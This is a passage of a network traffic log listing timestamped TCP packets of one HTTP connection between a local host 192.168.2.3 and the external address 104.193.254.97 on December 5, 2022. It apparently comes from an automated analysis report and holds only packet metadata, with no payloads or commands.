Dec 5, 2022 06:44:49.906456947 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.906464100 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.906505108 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.906543970 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.906599998 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.907150984 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.907198906 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.907228947 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.907270908 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.907284975 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.907315969 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.907346010 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.907375097 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.907387018 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.907474041 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.907502890 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.907545090 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.907562017 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.907587051 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.907622099 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.907661915 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.907675028 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.907705069 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.907735109 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.907773972 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.907788038 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.907819033 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.907846928 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.907886982 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.907896996 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.907929897 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.907958984 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.907999992 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.908009052 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.908041000 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.908071041 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.908121109 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.967643976 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.967715025 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.967753887 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.967816114 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.039912939 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.039980888 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.040014982 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.040055990 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.040076971 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.040097952 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.040134907 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.040179014 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.040241957 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.040246964 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.040286064 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.040296078 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.040905952 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.041045904 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.041079044 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.041105032 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.041120052 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.041162968 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.041192055 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.041212082 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.043967962 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.044040918 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.044090033 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.044146061 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.044159889 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.044226885 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.044274092 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.044291973 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.044337988 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.044403076 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.044446945 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.044501066 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.044508934 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.044574022 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.044620991 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.044675112 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.061448097 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.061511040 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.061547041 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.061582088 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.062407017 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.062450886 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.062480927 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.062544107 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.067761898 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.067811966 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.067843914 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.067923069 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.069251060 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.069294930 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.069327116 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.069367886 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.069385052 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.069410086 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.069439888 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.069490910 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.069900990 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.069943905 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.069974899 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.070015907 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.070046902 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.070060015 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.070091009 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.070131063 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.070139885 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.070178986 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.070225000 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.070276022 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.070286036 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.070353031 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.070398092 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.070450068 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.070602894 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.070673943 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.070717096 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.070816994 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.071115971 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.071186066 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.071232080 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.071290970 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.071294069 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.071362019 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.071405888 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.071455956 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.071471930 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.071538925 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.071583986 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.071650028 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.071654081 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.071713924 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.071754932 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.071805000 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.071818113 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.071882010 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.071927071 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.071975946 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.071990013 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.072052956 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.072097063 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.072146893 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.072159052 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.072216988 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.072252035 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.072297096 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.130286932 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.130386114 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.130423069 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.130496979 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.213447094 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.213511944 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.213577986 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.213732004 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.213924885 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.213967085 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.213998079 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.214023113 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.214040041 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.214082003 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.214112043 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.214132071 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.214153051 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.214194059 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.214225054 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.214245081 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.214265108 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.214307070 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.214338064 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.214355946 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.216597080 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.216643095 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.216675043 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.216700077 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.216715097 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.216757059 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.216785908 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.216804981 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.216828108 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.216870070 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.216898918 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.216917992 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.216941118 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.216983080 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.217010975 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.217036009 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.231875896 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.231956005 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.231993914 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.232127905 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.232959032 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.233002901 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.233033895 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.233077049 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.238604069 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.238686085 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.238749981 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.238859892 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.243623972 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.243655920 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.243678093 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.243700981 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.243724108 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.243725061 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.243742943 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.243768930 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.243820906 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.243844986 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.243864059 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.243886948 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.243892908 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.243911028 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.243931055 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.243957043 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.243976116 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.244036913 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.244055033 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.244076967 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.244083881 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.244100094 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.244118929 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.244146109 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.244229078 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.244252920 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.244271040 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.244293928 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.244297981 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.244318008 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.244335890 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.244436979 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.244448900 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.244529009 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.244548082 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.244570017 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.244575977 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.244595051 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.244611979 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.244635105 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.244636059 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.244659901 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.244678020 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.244699955 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.244699955 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.244724035 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.244743109 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.244765997 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.244837046 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.244872093 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.244889975 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.244914055 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.244914055 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.244936943 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.244956017 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.244976044 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.300482035 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.300545931 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.300582886 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.300717115 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.376063108 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.376091003 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.376106024 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.376193047 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.376576900 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.376650095 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.376665115 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.376682997 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.376701117 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.376705885 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.376713991 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.376750946 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.376802921 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.376821041 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.376833916 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.376851082 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.376863956 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.376869917 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.376883030 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.376918077 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.380281925 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.380305052 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.380319118 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.380336046 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.380353928 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.380367041 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.380369902 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.380407095 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.380435944 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.380456924 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.380470991 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.380489111 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.380501986 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.380507946 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.380521059 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.380561113 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.394747019 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.394772053 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.394785881 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.394860029 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.395821095 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.395854950 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.395869017 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.395925999 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.401881933 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.401905060 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.401917934 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.401987076 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.407337904 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.407361984 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.407373905 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.407387018 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.407434940 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.407449961 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.407449961 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.407470942 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.407594919 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.407644033 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.407658100 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.407675028 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.407680035 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.407692909 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.407707930 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.407727957 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.407793999 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.407825947 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.407839060 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.407871962 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.407879114 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.407896996 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.407910109 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.407929897 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.407996893 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.408019066 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.408032894 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.408049107 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.408054113 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.408067942 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.408082008 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.408102989 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.408185005 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.408205986 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.408220053 CET	80	49705	104.193.254.97	192.168.2.3
